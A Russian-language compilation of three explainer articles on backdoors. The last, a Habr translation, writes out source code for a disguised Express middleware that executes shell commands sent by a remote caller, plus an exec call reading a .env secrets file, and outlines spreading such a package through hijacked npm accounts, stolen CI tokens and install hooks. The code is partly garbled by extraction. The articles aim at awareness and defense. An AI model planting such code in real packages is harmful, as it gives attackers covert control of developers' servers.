Бэкдор (от англ. back door — «чёрный ход», дословно «задняя дверь») — уязвимость, дающая несанкционированный доступ к компьютеру, смартфону и т. п.
Фото: Секрет фирмы
Проще говоря, это лазейка, через которую злоумышленник может получать данные с чужого устройства и удаленно управлять им.
Что делает и как работает бэкдор
Бэкдор позволяет постороннему человеку делать на компьютере (или другом девайсе) всё то же, что может делать владелец, но дистанционно. В отличие от легальных программ удаленного доступа, бэкдор используется тайно и с корыстными или преступными целями.
С помощью бэкдора можно:
- считывать персональные данные;
- загружать, копировать, удалять файлы;
- устанавливать программы — в том числе и вредоносные;
- выключать и перезагружать устройство;
- вносить изменения в реестр;
- рассылать сообщения, в том числе спам;
- проводить кибератаки с зараженного устройства.
Какие бывают бэкдоры
- Дефекты программного кода — они намеренно встраиваются разработчиком программ для доступа к данным пользователей.
Человек устанавливает нужную ему программу, например мессенджер или фоторедактор, и не подозревает, что с её помощью открывает кому-то чёрный ход в свою виртуальную жизнь.
Простейший бэкдор в Windows – как использовать, как обнаружить
- Вирусы — программы, которые распространяются для скрытого удалённого администрирования.
В этом случае владелец девайса, скорее всего, не знает, что у него завелась вредоносная программа — вирус скачивается вместе с каким-нибудь файлом из интернета и устанавливается без уведомлений.
- Аппаратные бэкдоры — внедряются еще на этапе производства или установки микросхем.
Так как они устанавливаются непосредственно на «железо», такие бэкдоры нельзя обнаружить и уничтожить с помощью антивирусных программ. Также не поможет и обновление или переустановка программного обеспечения.
Как обнаружить бэкдор
Бэкдоры обнаружить трудно, они могут находиться в системе продолжительное время, как в спящем режиме, так и в активном.
С самыми простыми вирусами-бэкдорами может справиться антивирусная программа. Также можно проверить автозагрузку и активные процессы устройства на предмет чего-то нетипичного и подозрительного.
Но чаще всего бэкдоры замаскированы так, что обычному пользователю не только невозможно их вычислить и обезвредить, но даже следы их деятельности будут скрыты.
На глобальном уровне проблемами бэкдоров занимаются, например, антивирусные лаборатории.
Чтобы защититься от бэкдоров, нужно:
- не посещать сомнительные интернет-ресурсы, не скачивать подозрительные файлы, архивы, программы;
- использовать лицензионное программное обеспечение, вовремя обновлять его, читать отзывы о наличии уязвимостей;
- использовать антивирусные программы;
- проверять наличие вирусов дополнительными утилитами;
- пользоваться фильтрацией трафика;
- анализировать активность устройства.
Факт
С февраля 2021 года мессенджер WhatsApp начал передавать данные пользователей, включая регистрационную информацию, геолокации, сведения о транзакциях и активности в соцсетях, материнской корпорации Facebook. Позднее в слитом журналистам отчете ФБР говорилось, что спецслужбы США могут получать данные пользователей мессенджеров WhatsApp и iMessage (от Apple) в режиме реального времени.
Что такое Backdoor и какой вред он может нанести?
Основатель мессенджера-конкурента Telegram Павел Дуров тогда публично заявил, что эти приложения не могли гарантировать конфиденциальность своим пользователям, даже если бы разработчики этого захотели. По его словам, местные власти заставляют их внедрять в мессенджеры лазейки, позволяющие американским спецслужбам взламывать чаты.
«Поскольку разработчики этих сервисов проживают в США, им приходится тайно внедрять бэкдоры (лазейки в коде программы. — Прим. «Секрета») в свои приложения, когда правительство США приказывает им это сделать. Если программист публично заговорит об этом, он может отправиться в тюрьму», — написал Дуров в своем посте в Telegram.
Ранее Дуров также отмечал, что у мессенджера не открытый исходный код, как у Telegram, к тому же он намеренно запутывает двоичные файлы, так что специалисты по безопасности не могут проверить, есть ли в системе бэкдоры. Эти бэкдоры, вероятно, WhatsApp, как и его владелец Facebook, устанавливают по приказу ФБР. У любого владельца смартфона, который установил WhatsApp, данные под угрозой.
Бэкдор в покере и «Дота 2» (Dota 2)
Бэкдор в покере — сочетание трёх карт, при котором не хватает еще двух карт до выигрышной комбинации — стрита или флеша.
Стрит — пять карт, выстроенных по номиналам по возрастанию, без пропусков. Карты могут быть любых мастей. Флеш — пять карт одной масти, но любого номинала.
Соответственно, из трех карт последовательных номиналов теоретически можно достроить стрит, а из трех карт одной масти — флеш.
Считается, что при таком раскладе вероятность завершить комбинацию очень мала, но все равно является преимуществом. Хотя чаще используется для блефа или полублефа, так как шанс все-таки есть.
Бэкдор в «Дота 2» (Dota 2, компьютерная игра) — стратегия, когда один или несколько игроков нападают на вражеское здание, не дожидаясь своих союзных крипов (персонажей, которые управляются компьютером, а не геймерами). Этот приём, в зависимости от ряда условий, может считаться как разрешённым, так и к запрещённым. Разработчики добавили некоторым зданиям бэкдор-защиту: оно сопротивляется разрушению и частично восстанавливается, если было разрушено.
Пример употребления на «Секрете»
«Неважно, качает ли юзер программу-майнер вместе с другим ненадёжным файлом из подозрительного письма, цепляет ли вредоносный скрипт на веб-странице или ловит вирус-бэкдор, который делает его компьютер частью ботнета. Так или иначе, его оборудование начинает работать «на дядю» и добывать криптовалюты, которые затем отправляются на счета и серверы авторов вредоносного кода».
(Из материала о том, как компьютеры россиян начинают майнить «на дядю» и что с этим делать.)
«Американские чиновники заявили, что китайская компания Huawei имеет скрытый доступ к мобильным сетям по всему миру. Об этом сообщила газета The Wall Street Journal.Продавая технику операторам, производитель обязан оставить в ней бэкдор — путь для доступа к сетям со стороны властей. При этом изготовитель не может использовать этот канал связи, не уведомив об этом оператора. По версии Вашингтона, Huawei более десяти лет получает персональную информацию через бэкдор».
(Из новости о том, что Huawei обвинили в скрытом доступе к мировым сетям. )
Источник: secretmag.ru
Что такое Backdoor и какой вред он может нанести?
Backdoor – это метод, используемый для обхода требований аутентификации или шифрования и создания секретного доступа к компьютеру с целью управления устройством без ведома пользователя. Иногда бэкдоры могут быть установлены добровольно для предоставления доступа удаленным пользователям. Однако, когда этот термин применяется к вредоносному ПО, это означает, что хакеры используют его для доступа к функциям компьютера в скрытом виде, например, в фоновом режиме. Бэкдорные вирусы действительно представляют собой комбинацию различных угроз безопасности, некоторые из которых могут управляться удаленно.
Как распространяются Backdoor?
Бэкдоры часто внедряются в системы благодаря другим вредоносным программам, таким как трояны, вирусы или с помощью шпионских программ. Им удается получить доступ без ведома администраторов, а затем заразить сеансы всех пользователей скомпрометированной сети. Некоторые угрозы внедряются пользователями с привилегиями, чтобы получить доступ позднее.
Бэкдоры также интегрируются в определенные приложения. Иногда легитимные программы могут иметь уязвимости и разрешают удаленный доступ. В таких случаях злоумышленникам по-прежнему необходимы некоторые средства связи со взломанным компьютером для получения несанкционированного доступа к системе.
Пользователи сами могут непреднамеренно устанавливать на свои компьютеры бэкдоры. Такой вирус обычно прикрепляется к файлообменным приложениям или электронной почте. Методы scareware и вирусы-вымогатели при этом не применяются.
Некоторые бэкдоры используют определенные уязвимости в удаленных системах, либо на компьютерах, либо в сети.
Какой вред могут нанести Backdoor?
Вирусы, которые проникают через бэкдоры, часто имеют возможность делать скриншоты, вести запись в журналах регистрации ключей или заражать и шифровать файлы. Бэкдор помогает злоумышленнику создавать, переименовывать, удалять, а также редактировать документы или копировать абсолютно любой файл, выполнять простые и сложные команды, изменять системные настройки, удалять записи реестра Windows, без проблем запускать, контролировать и завершать работу приложений или устанавливать новые вредоносные программы.
Аналогичным образом, они могут позволить злоумышленникам взять под контроль аппаратные устройства, изменить соответствующие настройки, перезагрузить или выключить компьютер без разрешения и украсть конфиденциальные данные, пароли, данные для входа в систему, личную информацию и другие важные документы.
Бэкдорные атаки приносят прибыли от записей перемещений пользователей в интернете, заражения файлов, повреждения системы и порчи приложений.
Рекомендуем ознакомиться – riskware (это потенциально опасное ПО).
Примеры атак Backdoor
Одним из таких примеров являются Sticky Attacks. В этом случае, злоумышленники используют “атаку грубой силы” на сервер с включенным протоколом удаленного рабочего стола (RDP) и могут получить учетные данные для доступа к компьютеру. Затем киберпреступники используют скрипты и инструменты операционной системы, чтобы остаться незамеченными и установить простой бэкдор.
Даже если жертвы понимают, что были скомпрометированы и меняют пароли, злоумышленники тогда применяют Sticky Keys для доступа к компьютеру без необходимости повторно вводить учетные данные.
Еще одним примером является DoublePulsar, инструмент для внедрения бэкдоров, который часто используется хакерскими группами. Он может заразить сразу несколько тысяч компьютеров под управлением Microsoft Windows всего за несколько дней и активно используется для атак с 2017 года.
Источник: bezopasnik.info
Знай своего врага: создаём Node.js-бэкдор
Бэкдор в собственном коде, который может незаметно взаимодействовать с операционной системой, это один из самых страшных кошмаров любого разработчика. В настоящий момент в npm имеется более 1.2 миллиона общедоступных пакетов. За последние три года зависимости проектов превратились в идеальную цель для киберпреступников. Экосистема npm может оказаться на удивление хрупкой в том случае, если сообщество разработчиков не обратит пристальное внимание на безопасность. В качестве доказательств этой мысли достаточно вспомнить о тайпсквоттинге и об инциденте с npm-пакетом event-stream.
Автор статьи, перевод которой мы сегодня публикуем, хочет, в образовательных целях, рассказать о том, как создавать бэкдоры для платформы Node.js.
Что такое бэкдор?
Вот какое определение понятия «бэкдор» («backdoor») даётся на ресурсе Malwarebytes: «В сфере кибербезопасности бэкдором называют любой метод, пользуясь которым авторизованные и неавторизованные пользователи могут обойти обычные меры безопасности и получить высокоуровневый доступ (root-права) к компьютерной системе, сети, приложению. После получения подобного доступа к системе киберпреступники могут использовать бэкдор для кражи персональных и финансовых данных, установки дополнительных вредоносных программ, взлома устройств».
Бэкдор состоит из двух основных частей:
- Вредоносный код, внедрённый в атакованную систему, и выполненный в ней
- Открытый канал связи, который позволяет атакующему отправлять команды бэкдору и управлять удалённым компьютером.
Для того чтобы создать упрощённый вариант программы, реализующей вышеописанную атаку, мы будем, для выполнения кода, использовать стандартный модуль child_process. Для организации связи с бэкдором задействуем HTTP-сервер. Я посоветовал бы использовать в данном случае фреймворк Express, известный своими огромными возможностями, но то, о чём пойдёт речь, можно реализовать и с использованием любых других подходящих инструментов.
Зачем нам child_process?
Стандартный модуль Node.js child_process можно использовать для запуска дочерних процессов. Основная идея тут заключается в том, что это даёт нам возможность выполнять команды (поступающие в процесс через стандартный поток ввода — stdin ) вроде pwd или ping snyk.io , а затем интегрировать результат работы этих команд (выходные данные поступают из потока вывода — stdout ) и возможные сообщения об ошибках (из потока stderr ) в основную программу.
Выполнение процесса и его взаимосвязь со стандартными потоками ввода, вывода и ошибок, играющих роль входных и выходных потоков для запущенного системного процесса
Существуют различные способы выполнения дочерних процессов. Для данной атаки легче всего воспользоваться функцией exec , которая позволяет выполнять коллбэки и помещать в соответствующие буферы то, что попадает в потоки stdout и stderr . Например — то, что будет выдано в результате выполнения команды cat passwords.txt . Обратите внимание на то, что функция exec — это не лучший способ выполнения длительных задач наподобие ping snyk.io .
const = require(‘child_process’); exec(‘cat .env’, (err, stdout, stderr) => < if(err) throw err if(stderr) return console.log(`Execution error: $`) console.log(`Env file content: $`) >)
Как объединить функцию exec с HTTP-сервером?
Я разработал простой, невинно выглядящий пакет промежуточного слоя browser-redirect, предназначенный для Express-приложений. Он перенаправляет пользователей, работающих не в Chrome, на browsehappy.com. Вредоносный код я включу в этот пакет.
Код пакета будет примерно таким:
const useragent = require(‘useragent’); module.exports = () => (req, res, next) => < const ua = useragent.is(req.headers[‘user-agent’]); ua.chrome ? next(): res.redirect(«https://browsehappy.com/») >
Жертве достаточно установить пакет и воспользоваться им в Express-приложении так же, как пользуются любым пакетом промежуточного слоя:
const express = require(«express»); const helmet = require(«helmet») const browserRedirect = require(«browser-redirect «) const app = express(); app.use(browserRedirect()) app.use(helmet()) app.get(«/», (req, res)=>< res.send(«Hello Chrome User!») >) app.listen(8080)
Обратите внимание на то, что в данном случае, даже если используется Helmet , это не защищает приложение от атаки.
Вредоносный код
Реализация вредоносного кода весьма проста:
const = require(«child_process») const crypto = require(‘crypto’); const useragent = require(‘useragent’); module.exports = () => (req, res, next) => < // Вредоносный код const = req.query; const hash = crypto.createHash(‘md5’) .update(String(req.headers[«knock_knock»])) .digest(«hex»); res.setHeader(«Content-Sec-Policy», «default-src ‘self'») if(cmd hash === «c4fbb68607bcbb25407e0362dab0b2ea») < return exec(cmd, (err, stdout, stderr)=>< return res.send(JSON.stringify(, null, 2)) >) > // Обычный код const ua = useragent.is(req.headers[‘user-agent’]); ua.chrome ? next(): res.redirect(«https://browsehappy.com/») >
Как работает наш бэкдор? Для ответа на этот вопрос нужно учесть следующее:
Способы распространения бэкдора
Теперь, когда код бэкдора готов, нужно подумать о том, как распространять вредоносный пакет.
Хотя пакет и опубликован в npm, его шансы на распространение пока очень низки, так как потенциальным жертвам ещё нужно найти его и установить.
Ещё один способ распространения пакета заключается в добавлении вредоносного модуля в качестве зависимости для других пакетов. Если у злоумышленника есть доступ к учётной записи с правами публикации какого-нибудь важного пакета, он может опубликовать новую версию такого пакета. В состав зависимостей новой версии пакета будет входить и бэкдор.
В результате речь идёт о прямом включении вредоносного пакета в состав зависимостей популярного проекта (взгляните на анализ инцидента, произошедшего с event-stream). В качестве альтернативы злоумышленник может попытаться сделать PR в некий проект, внеся в lock-файл соответствующие изменения. Почитать об этом можно здесь.
Ещё один важный фактор, который нужно принимать во внимание, это наличие у атакующего доступа к учётным данным (имени пользователя и паролю) кого-то, кто занимается поддержкой некоего популярного проекта. Если у злоумышленника такие данные есть, он легко может выпустить новую версию пакета — так же, как это случилось с eslint.
Но если даже тот, кто занимается поддержкой проекта, использует для его публикации двухфакторную аутентификацию, он всё равно рискует. А когда для развёртывания новых версий проекта используется система непрерывной интеграции, то двухфакторную аутентификацию нужно выключать. В результате, если атакующий может украсть рабочий npm-токен для системы непрерывной интеграции (например, из логов, случайно попавших в общий доступ, из утечек данных, и из прочих подобных источников), то у него появляется возможность развёртывания новых релизов, содержащих вредоносный код.
Обратите внимание на то, что выпущен новый API (находящийся пока в статусе private beta), который позволяет узнать о том, был ли пакет опубликован с использованием IP-адреса сети TOR, и о том, была ли при публикации использована двухфакторная аутентификация.
Более того, злоумышленники могут настроить вредоносный код так, чтобы он запускался бы в виде скрипта, выполняемого перед установкой или после установки любого npm-пакета. Существуют стандартные хуки жизненного цикла npm-пакетов, которые позволяют выполнять код на компьютере пользователя в определённое время. Например, система для организации тестирования проектов в браузере, Puppeteer, использует эти хуки для установки Chromium в хост-системе.
Райан Даль уже говорил об этих уязвимостях на JSConf EU 2018. Платформа Node.js нуждается в более высоком уровне защиты для предотвращения этого и других векторов атак.
Вот некоторые выводы, сделанные по результатам исследования безопасности опенсорсного ПО:
- 78% уязвимостей обнаруживается в непрямых зависимостях, что усложняет процесс избавления от таких уязвимостей.
- За 2 года наблюдается рост уязвимостей в библиотеках на 88%.
- 81% респондентов полагают, что за безопасность должны отвечать сами разработчики. Они, кроме того, считают, что разработчики недостаточно хорошо для этого подготовлены.
Итоги: как защититься от бэкдоров?
Контролировать зависимости не всегда легко, но в этом деле вам могут помочь несколько советов:
- Используйте широко известные и хорошо поддерживаемые библиотеки.
- Участвуйте в жизни сообщества и помогайте тем, кто занимается поддержкой библиотек. Помощь может заключаться в написании кода или в финансовой поддержке проектов.
- Используйте NQP для анализа новых зависимостей своего проекта.
- Применяйте Snyk для того чтобы быть в курсе ситуации с уязвимостями и мониторить свои проекты.
- Анализируйте код используемых вами зависимостей, хранящийся в npm. Не ограничивайтесь просмотром кода из GitHub или из других подобных систем.
Источник: habr.com